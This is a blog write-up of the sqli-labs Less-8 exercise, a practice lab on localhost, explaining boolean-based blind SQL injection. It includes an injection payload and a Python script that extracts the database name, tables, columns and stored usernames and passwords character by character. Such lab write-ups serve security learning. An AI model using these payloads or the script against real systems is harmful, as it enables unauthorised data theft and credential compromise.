当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:06:00 【It's always late at night.】
First judge whether it is a number or a character 

It's still OK to add characters to numbers , It's character type . Try again to construct . Because this time, it will only return whether it is correct or not , So consider blind injection .
First judge the length of the database 
Then judge the database name

It used to
substr( Content ,n,m) From the content of the first n Bit interception m individual length() There is another key sql sentence
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
The workload is a little heavy , You can consider burp suite Or use a script
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
# Database length
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
# Database name
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
# Database table name
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
# Database field name
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
# Database tuple
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

There for all to see , Bloggers are too weak to program , To be improved .
边栏推荐
- [anwangbei 2021] Rev WP
- Summary of 20 practical typescript single line codes
- 自定义注解实现验证信息的功能
- 佩服,阿里女程序卧底 500 多个黑产群……
- Fiori applications are shared through the enhancement of adaptation project
- How will the surging tide of digitalization overturn the future?
- 开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
- Self cultivation of open source programmers who contributed tens of millions of lines of code to shardingsphere and later became CEO
- 使用net core 6 c# 的 NPOI 包,读取excel..xlsx单元格内的图片,并存储到指定服务器
- 8款最佳实践,保护你的 IaC 安全!
猜你喜欢

“国防七子”经费暴增,清华足足362亿元,甩第二名101亿 |全国高校2022预算大公开...

当你真的学会DataBinding后,你会发现“这玩意真香”!
![[NLP] pre training model - gpt1](/img/bd/9803ad946b33159de51b93106a2151.png)
[NLP] pre training model - gpt1

QT learning management system
![[anwangbei 2021] Rev WP](/img/98/ea5c241e2b8f3ae4c76e1c75c9e0d1.png)
[anwangbei 2021] Rev WP
![[241. Design priority for operation expression]](/img/72/29d27204d5213a8efdb2c5be925dec.png)
[241. Design priority for operation expression]

Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its

What "hard core innovations" does Intel have in the first half of 2022? Just look at this picture!

玩转MongoDB—搭建MongoDB集群

Fiori applications are shared through the enhancement of adaptation project
随机推荐
用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍
那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!
AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集
Halo effect - who says that those with light on their heads are heroes
Solution to 0xc000007b error when running the game [easy to understand]
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
Use the npoi package of net core 6 C to read excel Pictures in xlsx cells and stored to the specified server
Enter the top six! Boyun's sales ranking in China's cloud management software market continues to rise
[flask] flask starts and implements a minimal application based on flask
【剑指 Offer】55 - II. 平衡二叉树
Go integrates logrus to realize log printing
【Flask】Flask启程与实现一个基于Flask的最小应用程序
2022. Let me take you from getting started to mastering jetpack architecture components - lifecycle
How will the surging tide of digitalization overturn the future?
Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO
使用net core 6 c# 的 NPOI 包,读取excel..xlsx单元格内的图片,并存储到指定服务器
B站被骂上了热搜。。
MySQL日志
当主程架构游戏的时候,防止到处调用减少耦合性,怎么开放接口给其他人调用呢?
Use of Oracle database objects